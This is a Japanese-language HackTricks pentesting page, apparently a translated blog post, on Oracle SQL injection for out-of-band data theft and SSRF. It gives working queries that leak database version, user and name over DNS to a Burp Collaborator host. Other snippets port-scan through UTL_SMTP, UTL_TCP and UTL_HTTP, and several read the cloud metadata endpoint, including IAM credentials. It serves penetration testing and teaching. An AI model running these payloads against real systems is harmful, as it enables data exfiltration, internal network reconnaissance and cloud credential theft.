hacktricks/pentesting-web/sql-injection/oracle-injection.md

13 KiB
Raw Blame History

Oracleインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

SSRF

Oracleを使用して、Out of BandのHTTPおよびDNSリクエストを行うことはよく文書化されていますが、インジェクションにおいてSQLデータを外部に漏洩させる手段としても使用できます。これらのテクニック/関数を常に変更して、他のSSRF/XSPAを実行することができます。

Oracleのインストールは非常に面倒ですが、コマンドを試すために素早くインスタンスをセットアップしたい場合は特にそうです。私の友人であり、Appseccoの同僚であるAbhisek Dattaは、https://github.com/MaksymBilenko/docker-oracle-12cを紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。

このブログポストの過程で、Oracleをネイティブインストールとしてネットワークに完全アクセスできるようにするために、dockerコマンドを--network="host"フラグとともに実行しました。

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

URLまたはホスト名/ポート番号の指定をサポートするOracleパッケージ

ホストとポートの指定をサポートするパッケージと関数を見つけるために、Oracle Database Online DocumentationでGoogle検索を実行しました。具体的には、以下のキーワードで検索しました。

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

以下は検索結果です(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

この簡単な検索では、DBMS_LDAP(ホスト名とポート番号を渡すことができる)のようなパッケージはスキップされます。ドキュメントページでは、単に別の場所に案内されます。したがって、見落とした可能性のある他のOracleパッケージが存在するかもしれません。

いずれにせよ、上記で発見しリストアップしたいくつかのパッケージを見てみましょう。

DBMS_LDAP.INIT

DBMS_LDAPパッケージは、LDAPサーバーからデータにアクセスするためのものです。init()関数は、LDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。

この関数は、以下のようにDNS経由でのデータの外部への流出を示すために以前に文書化されています。

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

しかしながら、この関数はホスト名とポート番号を引数として受け取るため、これをポートスキャナのように使用することもできます。

以下にいくつかの例を示します。

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - 初期化に失敗しました。は、セッション値がポートが開いていることを指しているにもかかわらず、ポートが閉じていることを示しています。

UTL_SMTP

UTL_SMTPパッケージは、SMTP経由で電子メールを送信するために設計されています。Oracleのドキュメントサイトに提供されている例では、このパッケージを使用して電子メールを送信する方法が示されています。しかし、私たちにとって興味深いのは、ホストとポートの指定が可能な点です。

以下に、タイムアウトが2秒のUTL_SMTP.OPEN_CONNECTION関数の簡単な例を示します。

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: 転送タイムアウト はポートが開いていることを示しますが、SMTP接続が確立されていません。一方、ORA-29278: SMTP一時エラー: 421 サービスが利用できません はポートが閉じていることを示します。

UTL_TCP

UTL_TCP パッケージとその手続きおよび関数は、TCP/IPベースのサービスとの通信を可能にします。特定のサービスに対してプログラムされた場合、このパッケージはネットワークへの侵入経路となるか、TCP/IP接続のすべての側面を制御することができるため、完全なサーバーサイドリクエストを実行することができます。

Oracleのドキュメントサイトの例では、このパッケージを使用してウェブページを取得するための生のTCP接続を作成する方法が示されています。さらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスへのリクエストを行うために使用することができます。

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

興味深いことに、生のTCPリクエストを作成できるため、このパッケージはTCPリクエスト内でメソッドタイプや追加のヘッダーを渡すことができるため、すべてのクラウドプロバイダのインスタンスメタデータサービスをクエリするためにも使用することができます。

UTL_HTTPとWebリクエスト

おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されたテクニックは、UTL_HTTPパッケージです。このパッケージはドキュメントで次のように定義されています - UTL_HTTPパッケージは、SQLおよびPL/SQLからハイパーテキスト転送プロトコルHTTPの呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

以下のようなクエリを使用して、いくつかの基本的なポートスキャンも実行することができます。

SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 22) IS NULL) THEN 'Port 22 is closed' ELSE 'Port 22 is open' END FROM DUAL;
SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 80) IS NULL) THEN 'Port 80 is closed' ELSE 'Port 80 is open' END FROM DUAL;
SELECT CASE WHEN (UTL_TCP.CONNECT('192.168.0.1', 443) IS NULL) THEN 'Port 443 is closed' ELSE 'Port 443 is open' END FROM DUAL;

これにより、指定したIPアドレスとポート番号に対して接続を試み、接続が成功したかどうかを判断することができます。接続が成功した場合、ポートは開いていると判断されます。接続が失敗した場合、ポートは閉じていると判断されます。

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listenerまたはTNS:operation timed outは、TCPポートが閉じていることを示すサインです。一方、ORA-29263: HTTP protocol errorまたはデータは、ポートが開いていることを示しています。

過去に使用した別のパッケージは、HTTPURITYPE Oracle抽象型のGETCLOB()メソッドです。このメソッドを使用すると、URLとのやり取りが可能であり、HTTPプロトコルのサポートも提供されます。GETCLOB()メソッドは、URLからのGETレスポンスをCLOBデータ型として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥